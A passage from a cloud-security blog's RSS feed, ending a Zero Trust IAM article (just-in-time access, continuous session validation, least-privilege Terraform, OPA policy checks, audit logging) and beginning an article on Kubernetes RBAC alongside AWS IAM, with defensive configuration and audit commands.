<p>No standing elevated access. Engineers are eligible for elevated roles; they activate them when needed.</p>
<pre><code class="" data-line=""># Azure PIM: engineer activates an eligible privileged role
az rest --method POST \
  --uri &quot;https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests&quot; \
  --body &#039;{
    &quot;action&quot;: &quot;selfActivate&quot;,
    &quot;principalId&quot;: &quot;USER_OBJECT_ID&quot;,
    &quot;roleDefinitionId&quot;: &quot;ROLE_DEF_ID&quot;,
    &quot;directoryScopeId&quot;: &quot;/&quot;,
    &quot;justification&quot;: &quot;Investigating security alert in tenant — incident ticket INC-2026-0411&quot;,
    &quot;scheduleInfo&quot;: {
      &quot;startDateTime&quot;: &quot;2026-04-11T09:00:00Z&quot;,
      &quot;expiration&quot;: {&quot;type&quot;: &quot;AfterDuration&quot;, &quot;duration&quot;: &quot;PT4H&quot;}
    }
  }&#039;
# Access activates, lasts 4 hours, then automatically removed
</code></pre>
<pre><code class="" data-line=""># AWS: temporary account assignment via Identity Center
# (typically triggered by ITSM workflow integration, not manual CLI)
aws sso-admin create-account-assignment \
  --instance-arn &quot;arn:aws:sso:::instance/ssoins-xxx&quot; \
  --target-id ACCOUNT_ID \
  --target-type AWS_ACCOUNT \
  --permission-set-arn &quot;arn:aws:sso:::permissionSet/ssoins-xxx/ps-yyy&quot; \
  --principal-type USER \
  --principal-id USER_ID

# Schedule deletion (using EventBridge + Lambda in a real deployment)
aws sso-admin delete-account-assignment \
  --instance-arn &quot;arn:aws:sso:::instance/ssoins-xxx&quot; \
  --target-id ACCOUNT_ID \
  --target-type AWS_ACCOUNT \
  --permission-set-arn &quot;arn:aws:sso:::permissionSet/ssoins-xxx/ps-yyy&quot; \
  --principal-type USER \
  --principal-id USER_ID
</code></pre>
<p>The operational change this requires: engineers stop thinking of access as something they hold permanently and start thinking of it as something they request for a specific purpose.</p>
<p>This feels like friction until you&#8217;re investigating an incident and you have a precise record of who activated what elevated access and why.</p>
<h3 id="block-4-continuous-session-validation">Block 4: Continuous Session Validation</h3>
<p>Traditional auth: verify once at login, trust the session until timeout.<br />
Zero Trust auth: re-evaluate access signals continuously throughout the session.</p>
<pre><code class="" data-line="">Session starts: identity verified + device compliant + IP in expected range
                → access granted

15 minutes later: impossible travel detected (IP changes to different country)
                  → step-up authentication required, or session terminated

Later: device compliance state changes (EDR detects malware)
       → all active sessions for this device revoked immediately
</code></pre>
<p>This requires integration between your identity platform and your device management / EDR tooling. Entra ID Conditional Access with Continuous Access Evaluation (CAE) implements this natively. When certain events occur — device compliance change, IP anomaly, token revocation — access tokens are invalidated within minutes rather than waiting for natural expiry.</p>
<pre><code class="" data-line="">// GCP: bind IAM access to an Access Context Manager access level
// Access level enforces device compliance — if device falls out of compliance,
// the access level is no longer satisfied and requests fail immediately
gcloud projects add-iam-policy-binding my-project \
  --member=&quot;user:alice@company.com&quot; \
  --role=&quot;roles/bigquery.admin&quot; \
  --condition=&quot;expression=request.auth.access_levels.exists(x, x == &#039;accessPolicies/POLICY_NUM/accessLevels/corporate_compliant_device&#039;),title=Compliant device required&quot;
</code></pre>
<h3 id="block-5-micro-segmented-permissions">Block 5: Micro-Segmented Permissions</h3>
<p>Every service has its own identity. Every identity has only what it needs. Compromise of one service cannot propagate to others.</p>
<pre><code class="" data-line=""># Terraform: IAM as code — each service gets a dedicated, scoped role
resource &quot;aws_iam_role&quot; &quot;order_processor&quot; {
  name                 = &quot;svc-order-processor&quot;
  permissions_boundary = aws_iam_policy.service_boundary.arn

  assume_role_policy = jsonencode({
    Version = &quot;2012-10-17&quot;
    Statement = [{
      Effect    = &quot;Allow&quot;
      Principal = { Service = &quot;lambda.amazonaws.com&quot; }
      Action    = &quot;sts:AssumeRole&quot;
    }]
  })
}

resource &quot;aws_iam_role_policy&quot; &quot;order_processor&quot; {
  name   = &quot;order-processor-policy&quot;
  role   = aws_iam_role.order_processor.id
  policy = jsonencode({
    Version = &quot;2012-10-17&quot;
    Statement = [
      {
        Effect   = &quot;Allow&quot;
        Action   = [&quot;sqs:ReceiveMessage&quot;, &quot;sqs:DeleteMessage&quot;, &quot;sqs:GetQueueAttributes&quot;]
        Resource = aws_sqs_queue.orders.arn
      },
      {
        Effect   = &quot;Allow&quot;
        Action   = [&quot;dynamodb:PutItem&quot;, &quot;dynamodb:GetItem&quot;, &quot;dynamodb:UpdateItem&quot;]
        Resource = aws_dynamodb_table.orders.arn
      }
    ]
  })
}
</code></pre>
<pre><code class="" data-line=""># Open Policy Agent: enforce IAM standards at the policy level
# Run this in CI/CD — fail the build if any policy statement has wildcard actions
package iam.policy

deny[msg] {
  input.Statement[i].Effect == &quot;Allow&quot;
  input.Statement[i].Action == &quot;*&quot;
  msg := sprintf(&quot;Statement %d has wildcard Action — not allowed&quot;, [i])
}

deny[msg] {
  input.Statement[i].Effect == &quot;Allow&quot;
  input.Statement[i].Resource == &quot;*&quot;
  endswith(input.Statement[i].Action, &quot;Delete&quot;)
  msg := sprintf(&quot;Statement %d allows Delete on all resources — requires specific ARN&quot;, [i])
}
</code></pre>
<h3 id="block-6-universal-audit-trail">Block 6: Universal Audit Trail</h3>
<p>Zero Trust without logging is just obscurity. Every authorization decision — allow and deny — must be logged, retained, and queryable.</p>
<pre><code class="" data-line=""># AWS: verify CloudTrail is comprehensive
aws cloudtrail get-trail-status --name management-trail
# Must have: LoggingEnabled=true, IsMultiRegionTrail=true, IncludeGlobalServiceEvents=true

# Verify no management events are excluded
aws cloudtrail get-event-selectors --trail-name management-trail \
  | jq &#039;.EventSelectors[] | {ReadWrite: .ReadWriteType, Mgmt: .IncludeManagementEvents}&#039;
# ReadWriteType should be &quot;All&quot;; IncludeManagementEvents should be true

# GCP: ensure Data Access audit logs are enabled for IAM
gcloud projects get-iam-policy my-project --format=json | jq &#039;.auditConfigs&#039;
# Should see auditLogConfigs for cloudresourcemanager.googleapis.com and iam.googleapis.com
# with both DATA_READ and DATA_WRITE enabled

# Azure: route Entra ID logs to Log Analytics for long-term retention and querying
az monitor diagnostic-settings create \
  --name entra-audit-to-la \
  --resource &quot;/tenants/TENANT_ID/providers/microsoft.aad/domains/company.com&quot; \
  --logs &#039;[{&quot;category&quot;:&quot;AuditLogs&quot;,&quot;enabled&quot;:true},{&quot;category&quot;:&quot;SignInLogs&quot;,&quot;enabled&quot;:true}]&#039; \
  --workspace /subscriptions/SUB_ID/resourceGroups/rg-monitoring/providers/Microsoft.OperationalInsights/workspaces/security-logs
</code></pre>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<p>Zero Trust IAM isn&#8217;t a framework itself — it&#8217;s a design philosophy. But it maps cleanly onto the controls that compliance frameworks are pushing organizations toward:</p>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 5 — IAM</td>
<td>Zero Trust reframes IAM as continuous, context-aware verification rather than perimeter-based trust</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 1 — Security &amp; Risk Management</td>
<td>Assume breach as a risk management posture; blast radius minimization through least privilege</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 7 — Security Operations</td>
<td>Continuous monitoring, anomaly detection, and automated response are operational requirements of Zero Trust</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.15 Access control</td>
<td>Zero Trust access policy: verify explicitly, least privilege, assume breach</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.16 Monitoring activities</td>
<td>Continuous session validation and universal audit trail — all authorization decisions logged</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.20 Networks security</td>
<td>Micro-segmentation and mTLS replace implicit network trust with verified identity at every hop</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.23 Information security for cloud services</td>
<td>Zero Trust architecture applied to cloud IAM across AWS, GCP, and Azure</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>Zero Trust logical access controls — JIT, device posture, context-aware authorization</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.7</td>
<td>Continuous session validation and transmission controls across all system components</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC7.1</td>
<td>Threat detection through universal audit trails and anomaly-triggered automated response</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC7.2</td>
<td>Incident response — automated revocation and session termination on anomaly detection</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="zero-trust-maturity-where-to-start">Zero Trust Maturity — Where to Start</h2>
<p>In practice, most organizations think about Zero Trust as a destination — a large, multi-year program. The reality is it&#8217;s a direction. Any movement in that direction reduces risk.</p>
<table>
<thead>
<tr>
<th>Level</th>
<th>Where You Are</th>
<th>What to Build Next</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 — Initial</td>
<td>Some MFA; static credentials for machines; no centralized IdP</td>
<td>Eliminate machine static keys → workload identity</td>
</tr>
<tr>
<td>2 — Managed</td>
<td>Centralized IdP; SSO for most systems; some MFA enforcement</td>
<td>Close SSO gaps; enforce MFA everywhere; federate to cloud</td>
</tr>
<tr>
<td>3 — Defined</td>
<td>Least privilege being enforced; audit tooling in use; JIT for some privileged access</td>
<td>Expand JIT; policy-as-code in CI/CD; quarterly access reviews</td>
</tr>
<tr>
<td>4 — Contextual</td>
<td>Device posture in access decisions; conditional access policies</td>
<td>Continuous session evaluation; automated anomaly response</td>
</tr>
<tr>
<td>5 — Optimizing</td>
<td>Policy-as-code everywhere; automated right-sizing; anomaly-triggered revocation</td>
<td>Refine and maintain — Zero Trust is never &#8220;done&#8221;</td>
</tr>
</tbody>
</table>
<p>The jump from Level 1 to Level 3 delivers the most security value per unit of effort. Start there. Don&#8217;t defer least privilege enforcement while you build a sophisticated device posture integration.</p>
<hr />
<h2 id="the-practical-sequence">The Practical Sequence</h2>
<p>If you&#8217;re building Zero Trust IAM from where most organizations are, this is the order that maximizes early security value:</p>
<ol>
<li>
<p><strong>Inventory all identities</strong> — human and machine. You cannot secure what you can&#8217;t see. Build a complete picture before changing anything.</p>
</li>
<li>
<p><strong>Eliminate static credentials for machines</strong> — replace access keys and SA key files with workload identity. This is the highest-ROI change in most environments.</p>
</li>
<li>
<p><strong>Enforce MFA for all human access</strong> — especially cloud consoles, IdP admin, and VPN. Hardware keys for privileged accounts.</p>
</li>
<li>
<p><strong>Federate human identity</strong> — single IdP, SSO to cloud and major applications. Centralize the revocation path.</p>
</li>
<li>
<p><strong>Right-size IAM permissions</strong> — use last-accessed data and IAM Recommender to find and remove unused permissions. This is a continuous discipline, not a one-time clean-up.</p>
</li>
<li>
<p><strong>JIT for privileged access</strong> — Azure PIM, AWS Identity Center assignment automation, or equivalent for all elevated roles. No standing admin.</p>
</li>
<li>
<p><strong>IAM as code</strong> — all IAM changes via Terraform/Pulumi/CDK, reviewed in pull requests, validated by Access Analyzer or OPA in CI/CD, applied through automation.</p>
</li>
<li>
<p><strong>Continuous monitoring</strong> — alerts on IAM mutations, anomalous API call patterns, new cross-account trust relationships, new public resource exposures.</p>
</li>
<li>
<p><strong>Add context signals</strong> — Conditional Access policies incorporating device posture. Access Context Manager in GCP. AWS Verified Access for application access.</p>
</li>
<li>
<p><strong>Automated response</strong> — anomaly detected → automatic credential suspension or session termination. Close the window between detection and containment.</p>
</li>
</ol>
<hr />
<h2 id="core-curriculum-complete">Core Curriculum Complete</h2>
<p>These twelve episodes covered Cloud IAM from the question &#8220;what even is IAM?&#8221; to Zero Trust architecture:</p>
<table>
<thead>
<tr>
<th>Episode</th>
<th>Topic</th>
<th>The Core Lesson</th>
</tr>
</thead>
<tbody>
<tr>
<td>EP01</td>
<td>What is IAM?</td>
<td>Access management is deny-by-default; every grant is an explicit decision</td>
</tr>
<tr>
<td>EP02</td>
<td>AuthN vs AuthZ</td>
<td>Two separate gates; passing one doesn&#8217;t open the other</td>
</tr>
<tr>
<td>EP03</td>
<td>Roles, Policies, Permissions</td>
<td>Structure prevents drift; wildcards accumulate into exposure</td>
</tr>
<tr>
<td>EP04</td>
<td>AWS IAM Deep Dive</td>
<td>Trust policies and permission policies are both required; the evaluation chain has six layers</td>
</tr>
<tr>
<td>EP05</td>
<td>GCP IAM Deep Dive</td>
<td>Hierarchy inheritance is a feature that needs careful handling; service account keys are an antipattern</td>
</tr>
<tr>
<td>EP06</td>
<td>Azure RBAC and Entra ID</td>
<td>Two separate authorization planes; managed identities are the right model for workloads</td>
</tr>
<tr>
<td>EP07</td>
<td>Workload Identity</td>
<td>Static credentials for machines are solvable at the root; OIDC token exchange replaces them</td>
</tr>
<tr>
<td>EP08</td>
<td>IAM Attack Paths</td>
<td>The attack chain runs through IAM; <code class="" data-line="">iam:PassRole</code> and its equivalents are privilege escalation primitives</td>
</tr>
<tr>
<td>EP09</td>
<td>Least Privilege Auditing</td>
<td>5% utilization is the average; the 95% excess is attack surface — and it&#8217;s measurable</td>
</tr>
<tr>
<td>EP10</td>
<td>Federation, OIDC, SAML</td>
<td>The IdP is the trust anchor; everything downstream is bounded by its security</td>
</tr>
<tr>
<td>EP11</td>
<td>Kubernetes RBAC</td>
<td>Two separate IAM layers; both must be secured; <code class="" data-line="">cluster-admin</code> is the first thing to audit</td>
</tr>
<tr>
<td>EP12</td>
<td>Zero Trust IAM</td>
<td>Trust nothing implicitly; verify everything explicitly; minimize blast radius through least privilege at every layer</td>
</tr>
</tbody>
</table>
<p>IAM is not a feature you configure. It&#8217;s a practice you maintain. The organizations that operate with genuinely low cloud IAM risk don&#8217;t have fewer identities — they have better visibility into what those identities can do, and why, and what happened when something went wrong.</p>
<p>That&#8217;s the foundation this series has been building toward — but the curriculum doesn&#8217;t stop here. AWS, GCP, and Azure ship new services constantly, and every new service ships new IAM permissions. Scoping a policy correctly on day one is a different skill than auditing it after the fact — that&#8217;s where this series goes next.</p>
<hr />
<p>The full series is at <a href="/cloud-iam-series/">linuxcent.com/cloud-iam-series</a>. Subscribe to get new Cloud IAM episodes as new cloud permissions land — plus the eBPF series running in parallel, covering what&#8217;s actually running in kernel space when Cilium, Falco, and Tetragon do their work.</p>
<p>Subscribe → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fzero-trust-iam%2F&amp;linkname=Zero%20Trust%20Access%20in%20the%20Cloud%3A%20How%20the%20Evaluation%20Loop%20Actually%20Works" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fzero-trust-iam%2F&amp;linkname=Zero%20Trust%20Access%20in%20the%20Cloud%3A%20How%20the%20Evaluation%20Loop%20Actually%20Works" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fzero-trust-iam%2F&amp;linkname=Zero%20Trust%20Access%20in%20the%20Cloud%3A%20How%20the%20Evaluation%20Loop%20Actually%20Works" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fzero-trust-iam%2F&amp;linkname=Zero%20Trust%20Access%20in%20the%20Cloud%3A%20How%20the%20Evaluation%20Loop%20Actually%20Works" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fzero-trust-iam%2F&amp;linkname=Zero%20Trust%20Access%20in%20the%20Cloud%3A%20How%20the%20Evaluation%20Loop%20Actually%20Works" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fzero-trust-iam%2F&amp;linkname=Zero%20Trust%20Access%20in%20the%20Cloud%3A%20How%20the%20Evaluation%20Loop%20Actually%20Works" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fzero-trust-iam%2F&amp;linkname=Zero%20Trust%20Access%20in%20the%20Cloud%3A%20How%20the%20Evaluation%20Loop%20Actually%20Works" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fzero-trust-iam%2F&#038;title=Zero%20Trust%20Access%20in%20the%20Cloud%3A%20How%20the%20Evaluation%20Loop%20Actually%20Works" data-a2a-url="https://linuxcent.com/zero-trust-iam/" data-a2a-title="Zero Trust Access in the Cloud: How the Evaluation Loop Actually Works"></a></p><p>The post <a href="https://linuxcent.com/zero-trust-iam/">Zero Trust Access in the Cloud: How the Evaluation Loop Actually Works</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/zero-trust-iam/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1516</post-id>	</item>
		<item>
		<title>Kubernetes RBAC and AWS IAM: The Two-Layer Access Model for EKS</title>
		<link>https://linuxcent.com/kubernetes-rbac-cloud-iam/</link>
					<comments>https://linuxcent.com/kubernetes-rbac-cloud-iam/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 20 Apr 2026 17:06:27 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[EKS]]></category>
		<category><![CDATA[GKE]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[Kubernetes RBAC]]></category>
		<category><![CDATA[Kubernetes Security]]></category>
		<category><![CDATA[Service Accounts]]></category>
		<guid isPermaLink="false">https://linuxcent.com/kubernetes-rbac-cloud-iam/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span>Kubernetes RBAC and cloud IAM are separate layers — both must be secured. Service accounts, OIDC auth, IRSA, GKE Workload Identity, AKS integration, and audit tools.</p>
<p>The post <a href="https://linuxcent.com/kubernetes-rbac-cloud-iam/">Kubernetes RBAC and AWS IAM: The Two-Layer Access Model for EKS</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p><a href="/what-is-cloud-iam/">What Is Cloud IAM</a> → <a href="/authentication-vs-authorization-iam/">Authentication vs Authorization</a> → <a href="/iam-roles-policies-permissions-explained/">IAM Roles vs Policies</a> → <a href="/aws-iam-deep-dive/">AWS IAM Deep Dive</a> → <a href="/gcp-iam-deep-dive/">GCP Resource Hierarchy IAM</a> → <a href="/azure-rbac-entra-id-guide/">Azure RBAC Scopes</a> → <a href="/workload-identity-oidc-service-accounts/">OIDC Workload Identity</a> → <a href="/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation</a> → <a href="/iam-least-privilege-audit/">AWS Least Privilege Audit</a> → <a href="/cloud-identity-federation-oidc-saml/">SAML vs OIDC Federation</a> → <strong>Kubernetes RBAC and AWS IAM</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Kubernetes RBAC and cloud IAM are separate authorization layers — strong cloud IAM with weak Kubernetes RBAC is still a vulnerable cluster</li>
<li><code class="" data-line="">cluster-admin</code> ClusterRoleBindings are the first thing to audit — a compromised pod with cluster-admin controls the entire cluster</li>
<li>Disable <code class="" data-line="">automountServiceAccountToken</code> on pods that don&#8217;t call the Kubernetes API — most application pods don&#8217;t need it mounted</li>
<li>Use OIDC for human access instead of X.509 client certificates — client certs cannot be revoked without rotating the CA</li>
<li>Bind groups from IdP, not individual usernames — revocation propagates automatically when someone leaves</li>
<li>A ServiceAccount that can <code class="" data-line="">create pods</code> or <code class="" data-line="">create rolebindings</code> is a privilege escalation path: the same class of risk as <code class="" data-line="">iam:PassRole</code></li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">  TWO AUTHORIZATION LAYERS — NEITHER COMPENSATES FOR THE OTHER

  ┌─────────────────────────────────────────────────────────────────┐
  │  CLOUD IAM LAYER  (AWS IAM / GCP IAM / Azure RBAC)             │
  │  Controls: S3, DynamoDB, Lambda, RDS, cloud services           │
  │  Human: federated identity from IdP (SAML / OIDC)             │
  │  Machine: IRSA annotation → IAM role / GKE WI / AKS WI        │
  │  Audit: CloudTrail, GCP Audit Logs, Azure Monitor              │
  └─────────────────────────────────────────────────────────────────┘
           &#x2195; separate systems — no inheritance in either direction
  ┌─────────────────────────────────────────────────────────────────┐
  │  KUBERNETES RBAC LAYER  (within the cluster)                   │
  │  Controls: pods, secrets, deployments, configmaps, namespaces  │
  │  Human: OIDC groups → ClusterRoleBinding (or RoleBinding)      │
  │  Machine: ServiceAccount → Role / ClusterRole                  │
  │  Audit: kube-apiserver audit log                               │
  └─────────────────────────────────────────────────────────────────┘

  Attack path: exploit app pod → SA has cluster-admin → own the cluster
  Audit finding: cluster-admin on app SA, regardless of cloud IAM posture
</code></pre>
<hr />
<h2 id="introduction">Introduction</h2>
<p>I spent a long time in Kubernetes environments thinking cloud IAM and Kubernetes RBAC were related in a way that meant securing one partially covered the other. They don&#8217;t. They&#8217;re separate authorization systems that happen to share infrastructure.</p>
<p>The moment this crystallized for me: I was auditing an EKS cluster for a fintech company. Their AWS IAM posture was actually quite good — least privilege roles, no wildcard policies, SCPs in place at the org level. I was about to give them a clean bill of health when I ran one command:</p>
<pre><code class="" data-line="">kubectl get clusterrolebindings -o json | \
  jq &#039;.items[] | select(.roleRef.name==&quot;cluster-admin&quot;) | {name:.metadata.name, subjects:.subjects}&#039;
</code></pre>
<p>The output showed five ClusterRoleBindings to <code class="" data-line="">cluster-admin</code>. Two of them bound it to service accounts in production namespaces. One of those service accounts was used by an application that processed customer transactions.</p>
<p><code class="" data-line="">cluster-admin</code> in Kubernetes is the equivalent of <code class="" data-line="">AdministratorAccess</code> in AWS. An attacker who compromises a pod running as that service account doesn&#8217;t just have access to the application&#8217;s data. They have control of the entire cluster: reading every secret in every namespace, deploying arbitrary workloads, modifying RBAC bindings to create persistence.</p>
<p>None of this showed up in the AWS IAM audit. AWS IAM and Kubernetes RBAC are separate systems. Securing one tells you nothing about the other.</p>
<hr />
<h2 id="kubernetes-rbac-architecture">Kubernetes RBAC Architecture</h2>
<p>Kubernetes RBAC works with four object types:</p>
<table>
<thead>
<tr>
<th>Object</th>
<th>Scope</th>
<th>What It Does</th>
</tr>
</thead>
<tbody>
<tr>
<td>Role</td>
<td>Single namespace</td>
<td>Defines permissions within one namespace</td>
</tr>
<tr>
<td>ClusterRole</td>
<td>Cluster-wide</td>
<td>Permissions across all namespaces, or for non-namespaced resources</td>
</tr>
<tr>
<td>RoleBinding</td>
<td>Single namespace</td>
<td>Binds a Role (or ClusterRole) to subjects, scoped to one namespace</td>
</tr>
<tr>
<td>ClusterRoleBinding</td>
<td>Cluster-wide</td>
<td>Binds a ClusterRole to subjects with cluster-wide scope</td>
</tr>
</tbody>
</table>
<p>Subjects — the identities that receive the binding — are:<br />
&#8211; <strong>User</strong>: an external identity (Kubernetes has no native user objects; users come from the authenticator)<br />
&#8211; <strong>Group</strong>: a group of external identities<br />
&#8211; <strong>ServiceAccount</strong>: a Kubernetes-native machine identity, namespaced</p>
<p>The scoping matters. A ClusterRole defines what permissions exist. A RoleBinding applies that ClusterRole within a single namespace. A ClusterRoleBinding applies it everywhere. The same permissions, dramatically different blast radius.</p>
<hr />
<h2 id="roles-and-clusterroles">Roles and ClusterRoles</h2>
<pre><code class="" data-line=""># Role: read pods and their logs — scoped to the default namespace only
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: default
  name: pod-reader
rules:
- apiGroups: [&quot;&quot;]          # &quot;&quot; = core API group (pods, secrets, configmaps, etc.)
  resources: [&quot;pods&quot;, &quot;pods/log&quot;]
  verbs: [&quot;get&quot;, &quot;list&quot;, &quot;watch&quot;]
</code></pre>
<pre><code class="" data-line=""># ClusterRole: manage Deployments across all namespaces
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: deployment-manager
rules:
- apiGroups: [&quot;apps&quot;]
  resources: [&quot;deployments&quot;, &quot;replicasets&quot;]
  verbs: [&quot;get&quot;, &quot;list&quot;, &quot;watch&quot;, &quot;create&quot;, &quot;update&quot;, &quot;patch&quot;, &quot;delete&quot;]
- apiGroups: [&quot;&quot;]
  resources: [&quot;pods&quot;]
  verbs: [&quot;get&quot;, &quot;list&quot;, &quot;watch&quot;]
</code></pre>
<p>The verbs map to HTTP methods against the Kubernetes API: <code class="" data-line="">get</code> reads a specific resource, <code class="" data-line="">list</code> returns a collection, <code class="" data-line="">watch</code> streams changes, <code class="" data-line="">create</code>/<code class="" data-line="">update</code>/<code class="" data-line="">patch</code>/<code class="" data-line="">delete</code> are mutations.</p>
<p>One that consistently surprises people: <code class="" data-line="">list</code> on <code class="" data-line="">secrets</code> returns secret values in some Kubernetes versions and configurations. You might think &#8220;list&#8221; is just metadata, but listing secrets can include their data. If a service account needs to check whether a secret exists, grant <code class="" data-line="">get</code> on the specific secret name. Avoid <code class="" data-line="">list</code> on the secrets resource.</p>
<h3 id="the-wildcard-risk">The Wildcard Risk</h3>
<pre><code class="" data-line=""># This is effectively cluster-admin in the default namespace — avoid
rules:
- apiGroups: [&quot;*&quot;]
  resources: [&quot;*&quot;]
  verbs: [&quot;*&quot;]
</code></pre>
<p>Any <code class="" data-line="">*</code> in RBAC rules is an audit finding. In practice I find wildcards most often in:<br />
&#8211; Operator and controller service accounts (understandable, but worth reviewing)<br />
&#8211; &#8220;Temporary&#8221; RBAC that became permanent<br />
&#8211; Developer tooling given cluster-admin &#8220;because it was easier&#8221;</p>
<p>Run this to find all ClusterRoles with wildcard verbs:</p>
<pre><code class="" data-line="">kubectl get clusterroles -o json | \
